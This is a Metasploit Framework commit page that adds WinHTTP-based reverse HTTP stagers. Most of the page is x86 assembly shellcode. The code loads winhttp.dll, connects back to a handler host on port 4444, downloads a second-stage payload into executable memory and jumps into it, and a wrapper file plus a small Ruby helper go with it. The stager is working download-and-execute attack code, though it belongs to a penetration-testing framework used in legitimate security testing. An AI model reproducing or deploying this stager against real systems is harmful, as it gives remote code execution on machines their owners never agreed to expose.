Skip to content

Commit b68e05e

Browse files
author
Brent Cook
committed
Land rapid7#4914, @hmoore-r7 and @BorjaMerino winhttp stagers
2 parents fa2fbc3 + a57f02b commit b68e05e

File tree

8 files changed

+632
-0
lines changed

8 files changed

+632
-0
lines changed
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
3+
; Version: 1.0
4+
;-----------------------------------------------------------------------------;
5+
[BITS 32]
6+
%define u(x) __utf16__(x)
7+
%define HTTP_OPEN_FLAGS 0x00000100
8+
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
9+
10+
; Input: EBP must be the address of 'api_call'.
11+
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
12+
13+
load_winhttp:
14+
push 0x00707474 ; Push the string 'winhttp',0
15+
push 0x686E6977 ; ...
16+
push esp ; Push a pointer to the "winhttp" string
17+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
18+
call ebp ; LoadLibraryA( "winhttp" )
19+
20+
set_retry:
21+
push byte 6 ; retry 6 times
22+
pop EDI
23+
xor ebx, ebx
24+
mov ecx, edi
25+
26+
push_zeros:
27+
push ebx ; NULL values for the WinHttpOpen API parameters
28+
loop push_zeros
29+
30+
WinHttpOpen:
31+
; Flags [5]
32+
; ProxyBypass (NULL) [4]
33+
; ProxyName (NULL) [3]
34+
; AccessType (DEFAULT_PROXY= 0) [2]
35+
; UserAgent (NULL) [1]
36+
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
37+
call ebp
38+
39+
WinHttpConnect:
40+
push ebx ; Reserved (NULL) [4]
41+
push dword 4444 ; Port [3]
42+
call got_server_uri ; Double call to get pointer for both server_uri and
43+
server_uri: ; server_host; server_uri is saved in EDI for later
44+
dw u('/12345'), 0
45+
got_server_host:
46+
push eax ; Session handle returned by WinHttpOpen [1]
47+
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
48+
call ebp
49+
50+
WinHttpOpenRequest:
51+
52+
push HTTP_OPEN_FLAGS ; Flags [7]
53+
push ebx ; AcceptTypes (NULL) [6]
54+
push ebx ; Referrer (NULL) [5]
55+
push ebx ; Version (NULL) [4]
56+
push edi ; ObjectName (URI) [3]
57+
push ebx ; Verb (GET method) (NULL) [2]
58+
push eax ; Connect handler returned by WinHttpConnect [1]
59+
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
60+
call ebp
61+
xchg esi, eax ; save HttpRequest handler in esi
62+
63+
send_request:
64+
65+
WinHttpSendRequest:
66+
push ebx ; Context [7]
67+
push ebx ; TotalLength [6]
68+
push ebx ; OptionalLength (0) [5]
69+
push ebx ; Optional (NULL) [4]
70+
push ebx ; HeadersLength (0) [3]
71+
push ebx ; Headers (NULL) [2]
72+
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
73+
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
74+
call ebp
75+
test eax,eax
76+
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
77+
78+
try_it_again:
79+
dec edi
80+
jnz send_request
81+
82+
; if we didn't allocate before running out of retries, fall through to
83+
; failure
84+
85+
failure:
86+
push 0x56A2B5F0 ; hardcoded to exitprocess for size
87+
call ebp
88+
89+
receive_response:
90+
; The API WinHttpReceiveResponse needs to be called
91+
; first to get a valid handler for WinHttpReadData
92+
push ebx ; Reserved (NULL) [2]
93+
push esi ; Request handler returned by WinHttpSendRequest [1]
94+
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
95+
call ebp
96+
test eax,eax
97+
jz failure
98+
99+
allocate_memory:
100+
push byte 0x40 ; PAGE_EXECUTE_READWRITE
101+
push 0x1000 ; MEM_COMMIT
102+
push 0x00400000 ; Stage allocation (4Mb ought to do us)
103+
push ebx ; NULL as we dont care where the allocation is
104+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
105+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
106+
107+
download_prep:
108+
xchg eax, ebx ; place the allocated base address in ebx
109+
push ebx ; store a copy of the stage base address on the stack
110+
push ebx ; temporary storage for bytes read count
111+
mov edi, esp ; &bytesRead
112+
113+
download_more:
114+
push edi ; NumberOfBytesRead (bytesRead)
115+
push 8192 ; NumberOfBytesToRead
116+
push ebx ; Buffer
117+
push esi ; Request handler returned by WinHttpReceiveResponse
118+
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
119+
call ebp
120+
121+
test eax,eax ; if download failed? (optional?)
122+
jz failure
123+
124+
mov eax, [edi]
125+
add ebx, eax ; buffer += bytes_received
126+
127+
test eax,eax ; optional?
128+
jnz download_more ; continue until it returns 0
129+
pop eax ; clear the temporary storage
130+
131+
execute_stage:
132+
ret ; dive into the stored stage address
133+
134+
got_server_uri:
135+
pop edi
136+
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
137+
138+
server_host:
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
4+
; Version: 1.0 (January 2015)
5+
; Size: 323 bytes
6+
; Build: >build.py stager_reverse_winhttp_http
7+
;-----------------------------------------------------------------------------;
8+
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_reverse_winhttp_http.asm"
18+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
19+

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -89,6 +89,13 @@ def generate_uri
8989
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
9090
end
9191

92+
#
93+
# Generate the URI for the initial stager
94+
#
95+
def generate_small_uri
96+
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
97+
end
98+
9299
#
93100
# Determine the maximum amount of space required for the features requested
94101
#

0 commit comments

Comments
 (0)